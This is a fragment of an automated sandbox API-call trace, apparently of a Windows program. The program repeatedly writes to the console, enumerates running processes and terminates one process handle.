dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f [0067.929] GetLastError () returned 0x0 [0067.929] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x5f, lpConsoleScreenBufferInfo=0x5e8e4d4 | out: lpConsoleScreenBufferInfo=0x5e8e4d4) returned 1 [0067.930] GetLastError () returned 0x0 [0067.930] SetConsoleTextAttribute (hConsoleOutput=0x5f, wAttributes=0x7) returned 1 [0067.930] GetLastError () returned 0x0 [0067.934] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f [0067.934] GetLastError () returned 0x0 [0067.934] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x5f, lpConsoleScreenBufferInfo=0x5e8e4d4 | out: lpConsoleScreenBufferInfo=0x5e8e4d4) returned 1 [0067.934] GetLastError () returned 0x0 [0067.934] SetConsoleTextAttribute (hConsoleOutput=0x5f, wAttributes=0x7) returned 1 [0067.934] GetLastError () returned 0x0 [0067.935] EnumProcesses (in: lpidProcess=0x2e2c5e0, cb=0x400, lpcbNeeded=0x5e8e5a8 | out: lpidProcess=0x2e2c5e0, lpcbNeeded=0x5e8e5a8) returned 1 [0067.936] GetLastError () returned 0x0 [0067.937] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3ba83b8, Length=0x20000, ResultLength=0x5e8e528 | out: SystemInformation=0x3ba83b8, ResultLength=0x5e8e528*=0xdb38) returned 0x0 [0067.938] TerminateProcess (hProcess=0x4e8, uExitCode=0xffffffff) returned 1 [0067.938] GetLastError () returned 0x0 [0067.943] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f [0067.943] GetLastError () returned 0x0 [0067.943] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x5f, lpConsoleScreenBufferInfo=0x5e8e4e0 | out: lpConsoleScreenBufferInfo=0x5e8e4e0) returned 1 [0067.943] GetLastError () returned 0x0 [0067.947] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x63 [0067.947] GetLastError () returned 0x0 [0067.947] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x63, lpConsoleScreenBufferInfo=0x5e8e4e0 | out: lpConsoleScreenBufferInfo=0x5e8e4e0) returned 1 [0067.948] GetLastError () returned 0x0 [0067.951] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x67 [0067.951] GetLastError () returned 0x0 [0067.951] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x67, lpConsoleScreenBufferInfo=0x5e8e4d0 | out: lpConsoleScreenBufferInfo=0x5e8e4d0) returned 1 [0067.952] GetLastError () returned 0x0 [0067.955] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6b [0067.962] GetLastError () returned 0x0 [0067.962] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x6b, lpConsoleScreenBufferInfo=0x5e8e4d0 | out: lpConsoleScreenBufferInfo=0x5e8e4d0) returned 1 [0067.962] GetLastError () returned 0x0 [0067.966] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f [0067.967] GetLastError () returned 0x0 [0067.967] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x6f, lpConsoleScreenBufferInfo=0x5e8e4d8 | out: lpConsoleScreenBufferInfo=0x5e8e4d8) returned 1 [0067.967] GetLastError () returned 0x0 [0067.967] SetConsoleTextAttribute (hConsoleOutput=0x6f, wAttributes=0x7) returned 1 [0067.967] GetLastError () returned 0x0 [0067.971] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f [0067.971] GetLastError () returned 0x0 [0067.972] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x6f, lpConsoleScreenBufferInfo=0x5e8e4d8 | out: lpConsoleScreenBufferInfo=0x5e8e4d8) returned 1 [0067.972] GetLastError () returned 0x0 [0067.972] SetConsoleTextAttribute (hConsoleOutput=0x6f, wAttributes=0x7) returned 1 [0067.972] GetLastError () returned 0x0 [0067.976] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f [0067.976] GetLastError () returned 0x0 [0067.976] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x6f, lpConsoleScreenBufferInfo=0x5e8e4d4 | out: lpConsoleScreenBufferInfo=0x5e8e4d4) returned 1 [0067.977] GetLastError () returned 0x0 [0067.977] SetConsoleTextAttribute (hConsoleOutput=0x6f, wAttributes=0x7) returned 1 [0067.977] GetLastError () returned 0x0 [0067.981] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f [0067.981] GetLastError () returned 0x0 [0067.981] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x6f, lpConsoleScreenBufferInfo=0x5e8e4d4 | out: lpConsoleScreenBufferInfo=0x5e8e4d4) returned 1 [0067.982] GetLastError () returned 0x0 [0067.982] SetConsoleTextAttribute (hConsoleOutput=0x6f, wAttributes=0x7) returned 1 [0067.982] GetLastError () returned 0x0 [0067.982] EnumProcesses (in: lpidProcess=0x2e52df0, cb=0x400, lpcbNeeded=0x5e8e5a8 | out: lpidProcess=0x2e52df0, lpcbNeeded=0x5e8e5a8) returned 1 [0067.983] GetLastError () returned 0x0 [0067.985] TerminateProcess (hProcess=0x4e8, uExitCode=0xffffffff) returned 1 [0067.986] GetLastError () returned 0x0 [0067.991] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f [0067.991] GetLastError () returned 0x0 [0067.991] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x6f, lpConsoleScreenBufferInfo=0x5e8e4e0 | out: lpConsoleScreenBufferInfo=0x5e8e4e0) returned 1 [0067.991] GetLastError () returned 0x0 [0067.995] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x73 [0067.995] GetLastError () returned 0x0 [0067.995] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x73, lpConsoleScreenBufferInfo=0x5e8e4e0 | out: lpConsoleScreenBufferInfo=0x5e8e4e0) returned 1 [0067.995] GetLastError () returned 0x0 [0067.999] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x77 [0068.002] GetLastError () returned 0x0 [0068.002] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x77, lpConsoleScreenBufferInfo=0x5e8e4d0 | out: lpConsoleScreenBufferInfo=0x5e8e4d0) returned 1 [0068.002] GetLastError () returned 0x0 [0068.006] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7b [0068.006] GetLastError () returned 0x0 [0068.006] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x7b, lpConsoleScreenBufferInfo=0x5e8e4d0 | out: lpConsoleScreenBufferInfo=0x5e8e4d0) returned 1 [0068.006] GetLastError () returned 0x0 [0068.010] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7f [0068.010] GetLastError () returned 0x0 [0068.010] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x7f, lpConsoleScreenBufferInfo=0x5e8e4d8 | out: lpConsoleScreenBufferInfo=0x5e8e4d8) returned 1 [0068.011] GetLastError () returned 0x0 [0068.011] SetConsoleTextAttribute (hConsoleOutput=0x7f, wAttributes=0x7) returned 1 [0068.011] GetLastError () returned 0x0 [0068.015] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7f [0068.015] GetLastError () returned 0x0 [0068.015] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x7f, lpConsoleScreenBufferInfo=0x5e8e4d8 | out: lpConsoleScreenBufferInfo=0x5e8e4d8) returned 1 [0068.015] GetLastError () returned 0x0 [0068.015] SetConsoleTextAttribute (hConsoleOutput=0x7f, wAttributes=0x7) returned 1 [0068.015] GetLastError () returned 0x0 [0068.019] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7f [0068.020] GetLastError () returned 0x0 [0068.020] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x7f, lpConsoleScreenBufferInfo=0x5e8e4d4 | out: lpConsoleScreenBufferInfo=0x5e8e4d4) returned 1 [0068.020] GetLastError () returned 0x0 [0068.020] SetConsoleTextAttribute (hConsoleOutput=0x7f, wAttributes=0x7) returned 1 [0068.020] GetLastError () returned 0x0 [0068.024] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7f [0068.024] GetLastError () returned 0x0 [0068.024] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x7f, lpConsoleScreenBufferInfo=0x5e8e4d4 | out: lpConsoleScreenBufferInfo=0x5e8e4d4) returned 1 [0068.024] GetLastError () returned 0x0 [0068.025] SetConsoleTextAttribute (hConsoleOutput=0x7f, wAttributes=0x7) returned 1 [0068.025] GetLastError () returned 0x0 [0068.025] EnumProcesses (in: lpidProcess=0x2e79284, cb=0x400, lpcbNeeded=0x5e8e5a8 | out: lpidProcess=0x2e79284, lpcbNeeded=0x5e8e5a8) returned 1 [0068.026] GetLastError () returned 0x0 [0068.027] TerminateProcess (hProcess=0x4e8, uExitCode=0xffffffff) returned 1 [0068.028] GetLastError () returned 0x0 [0068.033] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7f [0068.033] GetLastError () returned 0x0 [0068.033] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x7f, lpConsoleScreenBufferInfo=0x5e8e4e0 | out: lpConsoleScreenBufferInfo=0x5e8e4e0) returned 1 [0068.033] GetLastError () returned 0x0 [0068.037] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x83 [0068.066] GetLastError () returned 0x0 [0068.066] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x83, lpConsoleScreenBufferInfo=0x5e8e4e0 | out: lpConsoleScreenBufferInfo=0x5e8e4e0) returned 1 [0068.067] GetLastError () returned 0x0 [0068.071] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x87 [0068.071] GetLastError () returned 0x0 [0068.071] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x87, lpConsoleScreenBufferInfo=0x5e8e4d0 | out: lpConsoleScreenBufferInfo=0x5e8e4d0) returned 1 [0068.071] GetLastError () returned 0x0 [0068.075] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8b [0068.076] GetLastError () returned 0x0 [0068.076] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x8b, lpConsoleScreenBufferInfo=0x5e8e4d0 | out: lpConsoleScreenBufferInfo=0x5e8e4d0) returned 1 [0068.076] GetLastError () returned 0x0 [0068.080] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8f [0068.080] GetLastError () returned 0x0 [0068.080] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x8f, lpConsoleScreenBufferInfo=0x5e8e4d8 | out: lpConsoleScreenBufferInfo=0x5e8e4d8) returned 1 [0068.080] GetLastError () returned 0x0 [0068.080] SetConsoleTextAttribute (hConsoleOutput=0x8f, wAttributes=0x7) returned 1 [0068.080] GetLastError () returned 0x0 [0068.085] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8f [0068.085] GetLastError () returned 0x0 [0068.085] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x8f, lpConsoleScreenBufferInfo=0x5e8e4d8 | out: lpConsoleScreenBufferInfo=0x5e8e4d8) returned 1 [0068.086] GetLastError () returned 0x0 [0068.086] SetConsoleTextAttribute (hConsoleOutput=0x8f, wAttributes=0x7) returned 1 [0068.086] GetLastError () returned 0x0 [0068.090] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8f [0068.090] GetLastError () returned 0x0 [0068.090] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x8f, lpConsoleScreenBufferInfo=0x5e8e4d4 | out: lpConsoleScreenBufferInfo=0x5e8e4d4) returned 1 [0068.090] GetLastError () returned 0x0 [0068.090] SetConsoleTextAttribute (hConsoleOutput=0x8f, wAttributes=0x7) returned 1 [0068.091] GetLastError () returned 0x0 [0068.095] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8f [0068.095] GetLastError () returned 0x0 [0068.095] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x8f, lpConsoleScreenBufferInfo=0x5e8e4d4 | out: lpConsoleScreenBufferInfo=0x5e8e4d4) returned 1 [0068.095] GetLastError () returned 0x0 [0068.095] SetConsoleTextAttribute (hConsoleOutput=0x8f, wAttributes=0x7) returned 1 [0068.095] GetLastError () returned 0x0 [0068.096] EnumProcesses (in: lpidProcess=0x2e9f83c, cb=0x400, lpcbNeeded=0x5e8e5a8 | out: lpidProcess=0x2e9f83c, lpcbNeeded=0x5e8e5a8) returned 1 [0068.097] GetLastError () returned 0x0 [0068.098] TerminateProcess (hProcess=0x4e8, uExitCode=0xffffffff) returned 1 [0068.100] GetLastError () returned 0x0 [0068.104] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8f [0068.115] GetLastError () returned 0x0 [0068.115] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x8f, lpConsoleScreenBufferInfo=0x5e8e4e0 | out: lpConsoleScreenBufferInfo=0x5e8e4e0) returned 1 [0068.116] GetLastError () returned 0x0 [0068.120] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x93 [0068.120] GetLastError () returned 0x0 [0068.120] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x93, lpConsoleScreenBufferInfo=0x5e8e4e0 | out: lpConsoleScreenBufferInfo=0x5e8e4e0) returned 1 [0068.120] GetLastError () returned 0x0 [0068.124] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x97 [0068.124] GetLastError () returned 0x0 [0068.124] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x97, lpConsoleScreenBufferInfo=0x5e8e4d0 | out: lpConsoleScreenBufferInfo=0x5e8e4d0) returned 1 [0068.125] GetLastError () returned 0x0 [0068.128] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9b [0068.129] GetLastError () returned 0x0 [0068.129] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x9b, lpConsoleScreenBufferInfo=0x5e8e4d0 | out: lpConsoleScreenBufferInfo=0x5e8e4d0) returned 1 [0068.129] GetLastError () returned 0x0 [0068.132] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9f [0068.144] GetLastError () returned 0x0 [0068.145] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x9f, lpConsoleScreenBufferInfo=0x5e8e4d8 | out: lpConsoleScreenBufferInfo=0x5e8e4d8) returned 1 [0068.145] GetLastError () returned 0x0 [0068.145] SetConsoleTextAttribute (hConsoleOutput=0x9f, wAttributes=0x7) returned 1 [0068.145] GetLastError () returned 0x0 [0068.149] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9f [0068.149] GetLastError () returned 0x0 [0068.149] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x9f, lpConsoleScreenBufferInfo=0x5e8e4d8 | out: lpConsoleScreenBufferInfo=0x5e8e4d8) returned 1 [0068.150] GetLastError () returned 0x0 [0068.150] SetConsoleTextAttribute (hConsoleOutput=0x9f, wAttributes=0x7) returned 1 [0068.150] GetLastError () returned 0x0 [0068.154] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9f [0068.154] GetLastError () returned 0x0 [0068.154] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x9f, lpConsoleScreenBufferInfo=0x5e8e4d4 | out: lpConsoleScreenBufferInfo=0x5e8e4d4) returned 1 [0068.154] GetLastError () returned 0x0 [0068.154] SetConsoleTextAttribute (hConsoleOutput=0x9f, wAttributes=0x7) returned 1 [0068.155] GetLastError () returned 0x0 [0068.158] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9f [0068.159] GetLastError () returned 0x0 [0068.159] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x9f, lpConsoleScreenBufferInfo=0x5e8e4d4 | out: lpConsoleScreenBufferInfo=0x5e8e4d4) returned 1 [0068.159] GetLastError () returned 0x0 [0068.159] SetConsoleTextAttribute (hConsoleOutput=0x9f, wAttributes=0x7) returned 1 [0068.159] GetLastError () returned 0x0 [0068.160] EnumProcesses (in: lpidProcess=0x2ec5544, cb=0x400, lpcbNeeded=0x5e8e5a8 | out: lpidProcess=0x2ec5544, lpcbNeeded=0x5e8e5a8) returned 1 [0068.161] GetLastError () returned 0x0 [0068.162] TerminateProcess (hProcess=0x4e8, uExitCode=0xffffffff) returned 1 [0068.167] GetLastError () returned 0x0 [0068.172] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9f [0068.172] GetLastError () returned 0x0 [0068.172] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x9f, lpConsoleScreenBufferInfo=0x5e8e4e0 | out: lpConsoleScreenBufferInfo=0x5e8e4e0) returned 1 [0068.173] GetLastError () returned 0x0 [0068.176] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa3 [0068.176] GetLastError () returned 0x0 [0068.176] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xa3, lpConsoleScreenBufferInfo=0x5e8e4e0 | out: lpConsoleScreenBufferInfo=0x5e8e4e0) returned 1 [0068.177] GetLastError () returned 0x0 [0068.180] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa7 [0068.181] GetLastError () returned 0x0 [0068.181] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xa7, lpConsoleScreenBufferInfo=0x5e8e4d0 | out: lpConsoleScreenBufferInfo=0x5e8e4d0) returned 1 [0068.181] GetLastError () returned 0x0 [0068.184] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xab [0068.185] GetLastError () returned 0x0 [0068.185] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xab, lpConsoleScreenBufferInfo=0x5e8e4d0 | out: lpConsoleScreenBufferInfo=0x5e8e4d0) returned 1 [0068.185] GetLastError () returned 0x0 [0068.189] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xaf [0068.189] GetLastError () returned 0x0 [0068.189] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xaf, lpConsoleScreenBufferInfo=0x5e8e4d8 | out: lpConsoleScreenBufferInfo=0x5e8e4d8) returned 1 [0068.189] GetLastError () returned 0x0 [0068.189] SetConsoleTextAttribute (hConsoleOutput=0xaf, wAttributes=0x7) returned 1 [0068.189] GetLastError () returned 0x0 [0068.193] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xaf [0068.193] GetLastError () returned 0x0 [0068.193] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xaf, lpConsoleScreenBufferInfo=0x5e8e4d8 | out: lpConsoleScreenBufferInfo=0x5e8e4d8) returned 1 [0068.194] GetLastError () returned 0x0 [0068.194] SetConsoleTextAttribute (hConsoleOutput=0xaf, wAttributes=0x7) returned 1 [0068.194] GetLastError () returned 0x0 [0068.198] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xaf [0068.198] GetLastError () returned 0x0 [0068.198] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xaf, lpConsoleScreenBufferInfo=0x5e8e4d4 | out: lpConsoleScreenBufferInfo=0x5e8e4d4) returned 1 [0068.198] GetLastError () returned 0x0 [0068.198] SetConsoleTextAttribute (hConsoleOutput=0xaf, wAttributes=0x7) returned 1 [0068.198] GetLastError () returned 0x0 [0068.202] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xaf [0068.203] GetLastError () returned 0x0 [0068.203] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xaf, lpConsoleScreenBufferInfo=0x5e8e4d4 | out: lpConsoleScreenBufferInfo=0x5e8e4d4) returned 1 [0068.203] GetLastError () returned 0x0 [0068.203] SetConsoleTextAttribute (hConsoleOutput=0xaf, wAttributes=0x7) returned 1 [0068.203] GetLastError () returned 0x0 [0068.204] EnumProcesses (in: lpidProcess=0x2eead44, cb=0x400, lpcbNeeded=0x5e8e5a8 | out: lpidProcess=0x2eead44, lpcbNeeded=0x5e8e5a8) returned 1 [0068.205] GetLastError () returned 0x0 [0068.206] TerminateProcess (hProcess=0x4e8, uExitCode=0xffffffff) returned 1 [0068.207] GetLastError () returned 0x0 [0068.211] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xaf [0068.211] GetLastError () returned 0x0 [0068.211] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xaf, lpConsoleScreenBufferInfo=0x5e8e4e0 | out: lpConsoleScreenBufferInfo=0x5e8e4e0) returned 1 [0068.211] GetLastError () returned 0x0 [0068.215] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xb3 [0068.215] GetLastError () returned 0x0 [0068.215] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xb3, lpConsoleScreenBufferInfo=0x5e8e4e0 | out: lpConsoleScreenBufferInfo=0x5e8e4e0) returned 1 [0068.215] GetLastError () returned 0x0 [0068.219] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xb7 [0068.219] GetLastError () returned 0x0 [0068.219] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xb7, lpConsoleScreenBufferInfo=0x5e8e4d0 | out: lpConsoleScreenBufferInfo=0x5e8e4d0) returned 1 [0068.219] GetLastError () returned 0x0 [0068.223] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xbb [0068.223] GetLastError () returned 0x0 [0068.223] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xbb, lpConsoleScreenBufferInfo=0x5e8e4d0 | out: lpConsoleScreenBufferInfo=0x5e8e4d0) returned 1 [0068.223] GetLastError () returned 0x0 [0068.227] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xbf 